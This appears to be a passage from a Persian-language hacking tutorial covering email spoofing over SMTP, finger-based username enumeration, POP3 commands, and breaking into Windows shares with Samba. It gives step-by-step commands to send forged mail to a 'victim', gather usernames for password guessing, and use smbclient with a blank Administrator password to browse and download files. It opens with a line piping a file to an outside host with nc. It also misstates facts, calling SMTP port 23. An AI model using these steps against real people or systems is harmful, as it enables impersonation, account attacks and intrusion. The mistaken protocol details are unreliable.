type aod.txt | nc -v www.kaveh-aod.20m.com 80 که همان کارهاي بالايي را انجام ميده.

........................................................................................................

قسمت سوم

0 پورت 23 چيست؟
پورت 23 براي ارسال E-mail به‌کار مي‌رود. اين پورت از پروتکل SMTP براي اين کار استفاده مي‌کند. نکته مهم آن است که اين پروتکل توانايي خواندن E-mail را ندارد و فقط مي‌تواند E-mail بفرستد.
حالا سوالي که پيش مي‌آيد که چه برنامه‌هايي روي سرور پورت 23 را باز مي‌کند؟
همان‌طور که گفتم، SMTP فقط يک پروتکل است (نه يک برنامه) و از نظر لغوي مخفف عبارت Simple Mail Transfer Protocol است. برنامه‌اي که پورت ?? را باز مي‌کند تا بتوان از طريق آن E-mail ارسال کنيم، SMTP Server مي‌گويند. SMTP Server يک عبارت کلي است، براي اين نوع برنامه‌ها. حالا خود SMTP Server انواع مختلف دارد که مشهورترين‌هايشان، SMail، SendMail، ESMTP MAIL Service و ... هستند. نکته مهم اين است که تفاوت زيادي نيست که سرور مورد نظر ما از کداميک از اين نرم‌افزارها استفاده مي‌کند، زيرا اصول کار با آنها يکي است.
براي صحبت کردن با پورت 23 اول بايد يک Server پيدا کنيم که پورت 23 در آن باز باشد (اگرچه در اکثر سرورها پورت 23 باز است). بعد بايد طبق معمول از telnet يا nc براي ارتباط استفاده کنيم.
پورت23 از ديدگاه يک هکر چه کاربردي دارد؟
يک هکر از پورت 23 براي ارسال Fake Mail (ميل ناشناس، ميل تقلبي) استفاده مي‌کند. دليل آن است که درصد بسيار بالايي از SMTP Server ها اهميتي نمي‌دهند که شما کي هستيد و به کي مي‌خواهيد ميل بزنيد، بلکه فقط کار خود را مي‌کنند.

چگونه يک SMTP سرور پيدا کنيم

چگونه يک SMTP سرور پيدا کنيم
پيدا کردن SMTP سرور کار سختي نيست. اگرچه از اکثر SMTP Server ها مي‌توان به هر کسي E-mail زد ولي من هميشه توصيه مي‌کنم از SMTP Server ي استفاده کنيد که مربوط به به Mail Box قرباني است. براي مثال فرض کنيد که مي‌خواهيد به کسي fake mail بزنيد و اون شخص mail box اش در ياهو است. در اين حالت من ترجيح مي‌دم که از SMTP Server هاي سرور ياهو استفاده کنم ( اگرچه از هر سرور ديگري براي اين کار مي‌تونم استفاده کنم ).
اگرچه ما عبارت fake mail (ناشناس) براي اين نوع E-mail ها استفاده مي‌کنيم ولي بايد توجه کنيد که در مواردي خاص مي‌شود شما را رديابي کرد. به عنوان مثال ip شما از مواردي است که همراه با E-mail ارسال مي‌شود. پس در انتخاب SMTP Server بايد دقت کرد (بعضي SMTP Server ها هستند که حتي ip شما را ارسال نمي‌کنند و اين يعني نهايت ناشناسي).
نکته بعدي اين است که بعضي SMTP Server ها يه کم باهوش عمل مي‌کنند به طوري که در نهايت E-mail ارسالي حداقل براي اشخاص حرفه‌اي ماهيتش (fake بودن) قابل تشخيص خواهد بود (يعني مي‌فهمند که اين يک fake mail است نه يه E-mail واقعي). پس اين هم در انتخاب SMTP Server مهم است که بايد از SMTP Server هايي استفاده کنيم که در نهايت حماقت باشند!
بازم يه نکته ديگه، SMTP Server در نهايت روي يک سرور قرار دارد پس در نهايت آدرس آن چيزي مثل mail.KsN.com، mx01.hotmail.com و ... خواهد بود.
حالا که معيارهاي مهم براي انتخاب SMTP Server را شناختيم، حالا وقتش است که عملا يه SMTP Server پيدا کنيم:
1- يکي از ساده‌ترين راه‌ها استفاده از سايت‌هايي مثل google است که با جستجوي عبارت SMTP Server هزاران سرور پيدا کنيم.
2- استفاده از SMTP Server سايت دانشگاه‌ها. تجربه برام ثابت کرده که اين روش يکي از بهترين‌هاست.
3- استفاده از يک سري SMTP Server هاي مشهور. اين روش هم بد نيست.
حالا روش را عملا نشونتون مي‌دم:
اول بايد يک سرور را مشخص کنيد که از طريق آن مي‌خواهيد fake mail را بفرستيد. همان‌طور که قبلا گفتم اگر مثلا مي‌خواهيد براي يه نفر که mail box او در ياهو است، fake mail بزنيد، سرور را همان سرور در نظر بگيريد يعني از خود yahoo.com براي ارسال استفاده کنيد.
بعد بايد ببينيد که در اين سرور کدام subdomain بايد استفاده کنيد (يعني اينکه SMTP Server سرور آدرسش، mail.yahoo.com است يا mx.yahoo.com است يا چيز ديگر). براي اين کار دو روش را مي‌گم:

از nslookup استفاده کنيم

با nslookup قبلا آشنا شده‌ايد. اول بايد با whois يک name server پيدا مي‌کرديم و بعد از طريق آن سايت را nslookup مي‌کرديم (اگر فراموش کرده‌ايد، درس ? و ? را دوباره بخوانيد. مثلا مي‌خواهم SMTP Server مربوط به kaveh-aod.20m.com را پيدا کنم. اول يک whois مي‌کنم و مي‌بينم که name server سايت، s1.sazin.com و s2.sazin.com است. حالا nslookup مي‌کنم و آن سطر هايي را مي‌خوانم که با نام MX مشخص شده است و ? تا آدرس مي‌بينم که عبارتند از kaveh-aod.20m.com و mail.aod.20m.com پس SMTP Server هاي سايت kaveh-aod.20m.com همين دو آدرس است. در نتيجه اگر بخواهم از سايت kaveh-aod.20m.com براي ارسال fake mail استفاده کنم، از اين آدرس‌ها بايد بهره‌ گيرم.
1- استفاده از بعضي سايت‌هاي خاص:
يکي از اين سايت‌ها http://www.mob.net/~ted/tools/mx.php3 است. در اين سايت، نام سايت را مي‌نويسيد و دکمه lookup را کليک مي‌کنيد. مثلا من نوشتم yahoo.com و به نتايج زير رسيدم:
Domain Server: ns.mob.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.
Domain Server: ns.cw.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.
...
مشخص است که SMTP Server هاي سايت yahoo.com عبارتند از: mx1.mail.yahoo.com , mx2.mail.yahoo.com , mx4.mail.yahoo.com
اگرچه اين روش راحت‌تر به نظر مي‌رسد ولي شما را يه انسان مصرفي بار مي‌آورد نه خلاق !

با پورت 23 صحبت کنيم

با پورت ?? صحبت کنيم
حالا که SMTP Server دارم مي‌تونم fake mail بزنم.
به عنوان مثال مي‌خواهم به آدرس target@yahoo.com يک fake mail بزنم که شخص فکر کند که Email از آدرس me@hotmal.com آمده است. (دقت کنيد که اين آدرس هر چيزي مي‌تواند باشد. مثلا مي‌توانيد از طرف Bill Gates به يه نفر E-mail بزنيد). و مي‌خواهم Subject آن باشد: arze salam و متن پيغام اين باشد: bah bah sam aleikum
براي اين کار :
2- چون mail box قرباني در سايت ياهو است، پس من هم بهتر است از SMTP Server خود ياهو استفاده کنم (بهتر است ولي اجباري در آن نيست). SMTP Server هاي ياهو را در قسمت قبلي به دست آوردم. مثلا از mx1.mail.yahoo.com استفاده مي‌کنم.
3- بايد از telnet يا nc براي برقراري ارتباط استفاده کنم. الان مي‌خوام از telnet استفاده کنم. پس بايد دستور زير را به‌کار برم (دقت کنيد که از اسم SMTP Serevr استفاده کردم).
telnet mx1.mail.yahoo.com 25
بعد از تايپ دستور، صفحه پاک مي‌شود و جواب مي‌گيرم:
220 YSmtp mta499.mail.yahoo.com ESMTP service ready
4- حالا دستور زير را مي‌نويسم. دقت کنيد که چون از telnet استفاده مي‌کنيد، چيزهايي را که تايپ مي‌کنيد، نمي‌بينيد و اينکه نمي‌تونيد از دکمه BackSpace استفاده کنيد (پس در تايپ‌کردن دقت کنيد!):
HELO yahoo.com
اين دستور يعني من از کجا هستم (يعني شما که مي‌خواهيد ميل بزنيد، کي هستيد). اينجا من گفتم که من از سايت yahoo.com هستم!! معمولا مهم نيست که جلوي عبارت HELO نام چه سايتي را بنويسيد چون اکثرا چک نمي‌شود. و جواب مي‌شنوم:
250 mta499.mail.yahoo.com
5- حالا بايد مشخص کنم که E-mail فرستنده (يعني من) چيست. چون مي‌خواهم E-mail از طرف me@hotmail.com به نظر بيايد، مي‌نويسم:
MAIL FROM:
و جواب مي‌گيرم:
250 sender ok
6- حالا بايد بگم که اين E-mail به چه آدرس ارسال شود که در اين مثال، target@yahoo.com است. بايد بنويسم:
RCPT TO:
و جواب مي‌شنوم:
250 recipient ok
7- حالا بايد بنويسم،
DATA
و Enter بزنم و جواب مي‌شنوم:
354 go ahead
اينجا وقت تايپ کردن يک سري چيز‌هاي اساسي است. اول مي‌نويسم،
From: abbas akbari
اين همان اسمي است که به عنوان Sender يا همان From ديده خواهد شد. من‌ خواستم که به اسم abbas akbari ديده شود. حالا مي‌نويسم:
Subject: arze salam
اين هم در آن E-mail به عنوان subject خواهد بود. حالا موارد زير را مي‌نويسم (که اختياري است):
MIME-Version: 1.0
Content-Type: text/plain;
و بعد دوتا !! Enter زده و متن نامه را مي‌نويسم:
bah bah
sam aleikum
.
دقت کنيد که يک کاراکتر . (نقطه) در سطر آخر نوشتم و بعد Enter زدم. با اين روش به پورت ?? حالي مي‌کنم که متن نامه تمام شده‌است و نامه ارسال شود. متعاقبا پيغامي مي‌گيرم که بيانگر ارسال E-mail است.
250 ok dirdel
1- مي‌نويسم:
QUIT
تا ارتباط قطع شود و از telnet خارج بشم.
اول توصيه مي‌کنم که يک fake mail واسه خودتون بفرستيد تا ماهيت fake mail را درک کنيد.
مسئله بعدي آن است که در قسمتي target@yahoo.com نوشته شده است، شما بايد اين سطر را تغيير داده و E-mail قرباني خودتان در ياهو را بنويسيد!
? همان کار با nc
براي انجام اين کار با nc اول همان دستورات بالا را در فايلي مثلا به اسم fake.txt مي‌نويسيم :
HELO yahoo.com
MAIL FROM:
RCPT TO:
DATA
From: abbas akbari
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;
bah bah
sam aleikum
. QUIT
حالا فايل را ذخيره کرده و از دستور زير استفاده مي‌کنم:
nc -v mx1.mail.yahoo.com 25 < fake.txt
همين!

Fake mail در صندوق پستي به چه شکلي ظاهر مي‌شود؟

اين قسمت رو در مورد mail box هاي yahoo و hotmail توضيح مي‌دم.
اينکه اين نوع E-mail ها به چه شکلي ظاهر مي‌شود، بستگي به اين دارد که تنظيمات mail box قرباني در چه حالتي تنظيم شده باشد. در حالت معمول فقط تعدادي از header ها نمايش داده مي‌شود. در اين حالت معمولا fake mail مثل يک E-mail معمولي ديده مي‌شود.
From: "abbas akbari"
Subject: arze salam
bah bah
sam aleikum
در mail box ها مي‌توان تنظيمات را طوري انجام داد که تمام header ها نمايش داده شوند.
براي اينکار در yahoo از منويي که بالاي صفحه است، منوي Mail را باز کرده و گزينه Options را کليک مي‌کنيم. در صفحه‌اي که مي‌آيد، روي گزينه General Preferences کليک کنيد. در صفحه‌اي که مي‌آيد، از قسمت Message در قسمت Headers گزينه ... Show all را انتخاب مي‌کنيم و دکمه Save را از پايين صفحه کليک مي‌کنيم. حالا همان ميل را دوباره باز مي‌کنم و مشاهده مي‌کنم که به شکل زير ظاهر مي‌شود:
From abbas akbari Mon Jan 6 05:56:37 2003
X-Apparently-To: KsNvKsN2000@yahoo.com via 216.136.129.53; 06
Jan 2003 05:56:37 -0800 (PST)
Return-Path:
Received: from 217.218.84.27 (HELO yahoo.com) (217.218.84.27) by
mta576.mail.yahoo.com with SMTP; 06 Jan 2003 05:56:37 -0800 (PST)
From: "abbas akbari"
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;
Content-Length: 19
bah bah
sam aleikum
در اين حالت مي‌توانيد ip ارسال کننده را هم ببينيد. (سعي کنيد که هميشه تنظيمات yahoo mailbox تان به اين شکل باشد)
? پورت ?? چيست؟
پورت ?? را پورت finger مي‌گويند. کاربرد اين پورت به اوايل ايجاد اينترنت بر‌مي‌گرده و کاربردش مخصوص سيستم‌عامل يونيکس بوده‌است (الان هم تقريبا فقط در خانواده سيستم‌هاي يونيکس اين پورت قابل استفاده است).
وقتي اين پورت روي سيستم‌عامل يونيکس باز باشه، مي‌شه با يک request ساده فهميد که از بين کساني که در آن سيستم account دارند، کدام‌ها on هستند (يعني کدام‌ها به سيستم login شده‌اند). برنامه‌اي که پورت ?? رو در يک سيستم باز مي‌کنه، finger server مي‌گن و چون مختص سيستم‌عامل يونيکس است، مي‌تونين از عبارت Finger Deamon استفاده کنين. حالا که پورت ?? روي سيستم باز شد، شما مي‌تونين با اون ارتباط برقرار کنين.
? با پورت ?? صحبت کنيم
همان‌طور که مي‌دانيد، براي صحبت کردن با پورت‌ها از دو برنامه telnet و nc ميشه استفاده کرد. در مورد پورت ?? يه نرم‌افزار ديگر به نام finger در تمام سيستم‌عامل‌هاي يونيکس و برخي سيستم‌عامل‌هاي ويندوز وجود دارد که علاوه بر دو برنامه قبلي، اونم مي‌شه به کار برد.
فرض کنيد که مي‌خوام با پورت ?? در کامپيوتري به اسم router2.iums.ac.ir ارتباط برقرا کنم. براي اين‌ کار يکي از سه دستور زير را استفاده مي‌کنم:
telnet router2.iums.ac.ir 79
nc -v router2.iums.ac.ir 79
finger .@router2.iums.ac.ir
دقت کنيد که در دو دستور اول شماره پورت مشخص شده ولي دستور آخري نه، چون دستور finger فقط براي همين‌کار استفاده مي‌شه و نمي‌توان باهاش با پورت ديگه‌اي ارتباط برقرار کرد. ضمنا به ساختار دستور آخر توجه کنيد. بعد از اجراي دستور، جواب مي‌شنوم:
Line User Host(s) Idle Location
33 tty 33 whgh Async interface 0
34 tty 34 najahan Async interface 0
35 tty 35 sadf Async interface 0
36 tty 36 abokho Async interface 0
38 tty 38 whgh Async interface 0
39 tty 39 bzamani Async interface 0
40 tty 40 saeedmah Async interface 0
41 tty 41 mfaizi Async interface 0
42 tty 42 gourabi Async interface 0
43 tty 43 farhadz Async interface 0
44 tty 44 arbks Async interface 0
45 tty 45 mhalavi Async interface 0
46 tty 46 farhood Async interface 0
47 tty 47 staavoni Async interface 0
48 tty 48 whgh Async interface 0
* 66 vty 0 idle 0 217.218.84.58
Interface User Mode Idle Peer Address
نکته مهم اين است که اطلاعاتي که به کمک پورت ?? به دست مي‌آد، خيلي بستگي به سروري داره که اين اطلاعات رو مي‌فرسته. بعضي از سيستم‌ها علاوه بر نام افراد (username) که در اين مثال ديده مي‌شه، نام و نام خانوادگي افراد، ساعت و محل login کردن و ... را نمايش مي‌دهند. اما چيزي که هميشه وجود دارد و مشترک است، username هاست که از نقطه نظر يک هکر بسيار ارزشمند است. در اين مثال ما اکانت‌هايي به اسم najahan ،whgh و ... در اين سرور وجود دارد و افراد مربوطه در حال حاضر login کرده‌اند. اگر اکانتي موجود باشد ولي فرد مورد نظر در حال حاضر از آن اکانت وارد نشده باشد، نمايش داده نمي‌شود. اين ليست فقط براي اکانت‌هاي فعال است. پس نتايجي که شما در ارتباط با اين سرور کسب مي‌کنيد، با نتايجي که من نوشتم متفاوت خواهد بود.

اين اطلاعات به چه دردي مي‌خورد؟

اول اينو بگم که finger کردن، جزئي از مراحل Enumeration است (البته در حالت کاربرد legal يا قانوني). منظور از عبارت Enumeration يا به طور خلاصه Enum، پيدا کردن ليست کاربران است.
+ فرض کنيد مي‌خواهيد يک ليست از پسورد‌ها را تست کنيد تا اينکه يکي شانسي درست در بياد (درست مثل دزدها که يه سري کليد را تست مي‌کنن که يکي به قفل بخوره و باز کنه!) حالا سوال اينه که اين پسورد‌ها رو براي چه username ي تست مي‌کنيد؟ جواب، username هايي است که با Enumeration به دست اومده است. پس اول با Enumeration يه ليست پيدا مي‌کنيد و بعد تعداد زيادي پسورد رو روش تست مي‌کنيد (روش اين کارو بعدا مي‌گم).
+ کاربرد بعدي finger در رابطه با يک سري اکانت‌هاي خاص است. من هميشه وقتي به يک اکانت به اسم guest برخورد مي‌کنم، هميشه پسوردهاي guest يا libguest يا myguest و ... رو تست مي‌کنم که گاهي جواب ميده. همين‌طور در مورد اکانتي به اسم demo پسورد demo را تست مي‌کنم و ... معمولا موسسات بزرگ پر است از اين username هاي عمومي که حدس زدن پسورد مربوطه کار مشکلي نيست.
+ گفتم که بعضي سرورهاي finger نام و نام‌خانوادگي افراد را هم برايمان مي‌فرستند. چون بعضي از افراد متاسفانه يا خوشبختانه از اين اطلاعات براي پسوردشون استفاده مي‌کنند، مي‌تونه مفيد باشه.
+ يک کاربرد ديگه و البته بسيار مهم موقعي است که مثلا مي‌خواهيد يک سري پسورد رو روي يک اکانت خاص تست کنيد. من هميشه اول يک finger مي‌کنم که مطمئن بشم که فرد در حال حاضر login نکرده باشد و بعد اين کار رو شروع مي‌کنم ( يعني انقدر صبر مي‌کنم که ديگه آن اسم خاص در finger نمايش داده نشه يعني طرف مقابل logout کرده باشد!)
+ بازم يه کاربرد‌هاي مهم ديگه هست که الان بهتون نمي‌گم تا تو خماريش بمونين ! شوخي کردم، وقتي بحث پورت‌ها تموم شد و رسيديم به کاربرد‌هاي غير معمول اين پورت‌ها، براتون حتما مي‌گم.

خلاصه پروتکل‌هاي مرتبط با E-mail

SMTP

قبلا با اين پورت آشنا شديم که روي پورت ?? اجرا مي‌شد. ما از اين پروتکل براي ارسال E-mail استفاده کرديم. اين پروتکل امروزه ديگه براي خوندن E-mail استفاده نمي‌شه.

POP3

بحث امروز ماست. اين پروتکل را روي پورت ??? بحث مي‌کنيم و از آن براي خواندن E-mail هاي رسيده استفاده مي‌کنيم.

IMAP

اين پروتکل به عنوان جايگزيني براي پروتکل POP3 به‌کار ميره. از نظر ساختاري کمي با پروتکل POP3 متفاوت است ولي کارش همان است و براي خواندن E-mail هاي رسيده به کار مي‌رود.
+ Web-based Email: يک روش ديگه براي دسترسي به E-mail وجود دارد و آن استفاده از امکانات وب براي خواندن و فرستادن E-mail است. وقتي شما از خود سايت yahoo يا hotmail براي کار با E-mail استفاده مي‌کنيد، در واقع همين روش را به کار مي‌بريد. نکته قابل توجه آن است که اين روش کند‌تر از استفاده مستقيم از پروتکل‌هاست.
? پورت ??? چيست؟
پورت ??? براي پروتکل POP3 استفاده مي‌شود. عبارت POP3 مخفف Post Office Protocol Version 3 است که اين پروتکل براي خواندن E-mail استفاده مي‌شود. براي کار با اين پروتکل بايد آدرس POP Server مربوط به E-mail خود را بدانيد. براي اين‌کار مي‌توان از nslookup استفاده کرد و سطري که عبارت MX دارد را خواند (قبلا چگونگي کار را گفتم و الان ديگه توضيح نمي‌دم). دقت کنيد که در مورد سايت‌هاي کوچک، آدرس POP Server همان آدرس SMTP Server است ولي در سايت‌هاي بزرگ (مثل ياهو‌ ) سرور‌هاي مربوطه جداست ( يعني دو اسم مختلف دارد ). در مورد سايت ياهو POP Server در آدرس pop.mail.yahoo.com قرار دارد. ( من جديدا اين سرور رو تست نکردم، خودتون تست کنيد و مطمئن بشيد ). من امروز مي‌خوام از E-mail هاي سايت noavar.com استفاده کنم که هم خيلي عاليه و هم ايرانيه! POP Server اين سايت در آدرس mail.noavar.com قرار دارد.

با پورت 110 صحبت کنيم

فرض کنيد که من در سرور mail.noavar.com يک اکانت به اسم KsNtest و پسورد mypass دارم. (شما هم اگه مي‌خواهيد تست کنيد، يک اکانت براي خودتون در اين سايت باز کنيد). حالا مي‌خوام با پورت ??? صحبت کنم، بنابراين از يکي از دو دستور زير استفاده مي‌کنم:
telnet mail.noavar.com 110
nc -v mail.noavar.com 110
و جواب مي‌شنوم:
+OK POP3 server www.noavar.com ready
دقت کنيد که اگه از تلنت استفاده کنيد،چيزهايي که شما تايپ مي‌کنيد، ديده نمي‌شود و نمي‌تونيد از دکمه Backspace استفاده کنيد. حالا مي‌خوام بگم که اسم اکانت من KsNtest است، پس مي‌نويسم:
user A.o.Dtest
و جواب مي‌شنوم:
+OK Please enter password for A.o.Dtest حالا مي‌خوام پسوردم رو بگم که اجازه صادر بشه! مي‌نويسم:
pass mypass
و جواب مي‌شنوم:
+OK password for user A.o.Dtest Accepted
حالا مي‌خوام بدونم که جمعا چندتا mail رسيده است و حجم کل چقدر است. مي‌نويسم:
stat
و جواب مي‌شنوم:
+OK 2 25924
يعني براي من ? تا پيغام رسيده و حجم کل پيام‌هاي رسيده، ????? بايت است. حالا مي‌خوام ليست پيام‌ها رو داشته باشم، مي‌نويسم:
list
و جواب مي‌شنوم:
+OK
1 70
2 24923
.
اين يعني پيغام شماره يک (پيغام جديدتر) حجم 10 بايت دارد و پيغام شماره دو حجم 641200 بايت دارد. حالا مي‌خوام پيغام شماره 1 را بخونم. مي‌نويسم:
retr 1
و جواب مي‌شنوم:
+OK 70 octets
Message-ID: <875808060@www.noavar.com>
From: "A.o.D" X-Mailer: Noavar To: A.o.Dtest@noavar.com
MIME-Version: 1.0
Subject: salam
Date: Thu, 13 Feb 2003 20:05:56
salam, chetori?
. حالا مي‌خواهم اين پيغام ( شماره يک ) رو پاک کنم، مي‌نويسم:
dele 1
و جواب مي‌شنوم:
+OK Message 1 Marked for removal
[ دقت کنيد که اين پيغام هنوز پاک نشده است و فقط علامت خورده که موقع خروج، پاک بشه. حالا ممکنه چندتا پيغام را مارک کنيد که حذف بشه ولي بعد بي‌خيال! مي‌شين. براي اينکه اين علامت‌ها را حذف کنيد که موقع خروج ديگه پاک نشوند، مي‌تونيد بنويسيد:
rset
و جواب مي‌شنوم:
+OK 1 70
]
حالا اگه بخواهم خارج بشم (و علامت‌خورده‌ها پاک بشن)، مي‌‌نويسم:
quit
و جواب مي‌شنوم:
+OK www.noavar.com signing off
والسلام ...
Samba چيست؟
احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم.
سيستم عاملهاي بر پاييه يونيکس مثل لينوکس براي Share کردن فايلها و پرينتر ها از طريق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز ميشه استفاده ميکنن و از اين طريق لينوکس ميتونه Share هاي کامپيوتر هاي ويندوز رو Mount کنه. (اگه کاربر لينوکس هستيد، نمي‌تونيد روش‌هايي که در درس قبلي براي ويندوز ذکر شده استفاده کنيد، بلکه بايد از Samba بهره گيريد. اما طرف مقابل که قرار است هک بشه، سيستم‌عاملش رو فرض مي‌کنيم که ويندوزه. پس ما مي‌خوايم با لينوکس يک سيستم‌عامل ويندوز را که ??? باز داره، هک کنيم) بي شک Netbios عمومي ترين مشکل امنيتي ويندوزه که استفاده ازش چندان مشکل نيست.
خب ! همون طور که گفتم ما براي اين کار از Samba استفاده ميکنيم. من اينجا چيزي در مورد Samba نمي‌نويسم و بنا کار رو بر اين ميگذارم که تا حدودي ميتونيد با Samba کار کنيد . اگر احتمالا مشکلي داريد ميتونيد به Samba.org سر بزنيد و در Documention ها دنبال راهنما باشيد :) به طور کل اگر نميدونيد چطور از Samba استفاده کنيد بهتره که کاري با کامپيوتر هاي مردم نداشته باشيد ! :)

چگونه با پورت 139 صحبت کنيم؟

1- اولين قدم پيدا کردن کامپيوتريه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. براي اينکار از Nmap استفاده مي‌کنيم. Nmap معمولا رو همه Description هاي فعلي پيدا ميشه. مي‌خوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدام‌ها پورت ??? باز دارند. براي اين کار مي‌نويسم:
# nmap -sS -O 192.168.3.1-50 -p 139
و جواب مي‌شنوم:
st 1 open and 1 closed TCP port
Interesting ports on (192.168.3.2):
Port State Service
139/tcp open netbios-ssn
Remote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3
بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن :) 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره :) من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست .
2- قدم دوم گرفتن NetbiosName هاي هدفه. بدون اين اسمها ما نميتونيم هيچ جور اطلاعاتي از هدف بگيريم. از اونجايي که مايکروسافت سعي کرده همه کارها رو ساده کنه، ويندوز هاي رو شبکه Netbios به جاي Ip Address از اسم استفاده ميکنن!! خب اينجا لازمه از يه Netbios Scanner يا Share Scanner استفاده کنيم. معمولا رو هر Description يي دستور nmblookup پيدا ميشه - که خيلي شبيه nbtstat ويندوزه - رو لينوکس کار ميکنه. من شخصا خيلي از nmblookup خوشم نمياد چون Share Scanner هاي بسيار بهتري هستن ! :) به هر صورت من اينجا از nmblookup استفاده ميکنم . شکل کلي دستور اينه : nmblookup –A . اين flag ه A باعث ميشه که nmblookup بتونه Query بهتري انجام بده . حالا رو هدفهوم امتحان ميکنيم :
# nmblookup –A 192.168.3.2
و جواب مي‌گيرم:
Looking up status of 192.168.3.2
ARMINLAPTOP <00> - B < ACTIVE>
WORKGROUP <00> - < GROUP> B < ACTIVE>
ARMINLAPTOP <03> - B < ACTIVE>
ARMINLAPTOP <20> - B < ACTIVE>
WORKGROUP <1e> - < GROUP> B < ACTIVE>
ADMINISTRATOR <03> - B < ACTIVE>
WORKGROUP <1d> - B < ACTIVE>
..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>
همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست :)
3- بگذارين قبل از قسمت سوم کار يکمي در مورد ويندوز ها صحبت کنيم. Netbios به طور کلي روي همه ويندوز ها به نوعي خطر ايجاد ميکنه. رو ويندوز هاي سري 2000 به بالا همه پارتيشن هاي سيستم Share شده اند و با پسوردي که Administrator دارد، باز ميشن. خيلي از کاربران تازه کار هم پسورد Administrator رو خالي ميگذارن. به نظر من اين سري ويندوز ها بيشتر در خطر هستند. رو ويندوز هاي 9x هيچ فايلي به طور Default Share نشده، ولي خوب اگر بشه ممکنه بتونيم از طريقش بدون پسورد وارد فايل سيستم بشيم :) حتي اگر پسورد Administrator رو هم نداشته باشيم Anonymous Login ميتونه اطلاعات خيلي مفيدي بهموم بده :) حالا مي‌خواهيم ليست Share ها رو بدست بياوريم . ( در درس قبلي براي ويندوز از دستور net view براي همين‌کار استفاده کرديم) توجه کنيد که کرنل بايد Network File System و Samba File System رو ساپرت کرده باشه : در اين مثال در نظر گرفتم که پسورد Administrator خاليه ! :) مي‌نويسم:
# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2
نتيجه دستور به صورت زير است:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
Sharename Type Comment
--------- ---- ------- IPC$ IPC Remote IPC
D$ Disk Default share
ADMIN$ Disk Remote Admin
C$ Disk Default share
Armin Disk
Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP
Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
خب ميبينيد ؟ :) هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! :) همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه مي‌فرماييد که Armin به عنوان Disk به‌اشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ):
# smbclient -LARMINLAPTOP -I 192.168.3.2
و جواب:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED

Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP

Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
خب باز هم يه اطلاعاتي پيدا ميکنيم ! :) با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره !
4- خب حالا سعي ميکنيم که اين Share هارو Mount کنيم. مي‌نويسيم:
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2
و جواب مي‌شنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
خب ! :) Share توسط Password محافظت ميشه ! :) کار زيادي نمي‌تونيم انجام بديم. مثلا مي‌تونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار مي‌کنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم :
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator
و جواب مي‌شنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \>
اين smb: \> ls
و جواب مي‌شنوم:
. DA 0 Sat Feb 8 05:34:11 2003
.. DA 0 Sat Feb 8 05:34:11 2003
Blcorp D 0 Sat Feb 8 03:05:51 2003
47943 blocks of size 65536. 8261 blocks available
و ادامه مي‌دم به صورت زير:
smb: \> cd Blcorp
smb: \Blcorp\> ls
. D 0 Sat Feb 8 03:05:51 2003
.. D 0 Sat Feb 8 03:05:51 2003
WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002
47943 blocks of size 65536. 8261 blocks available
smb: \Blcorp\> get WLTrial.exe
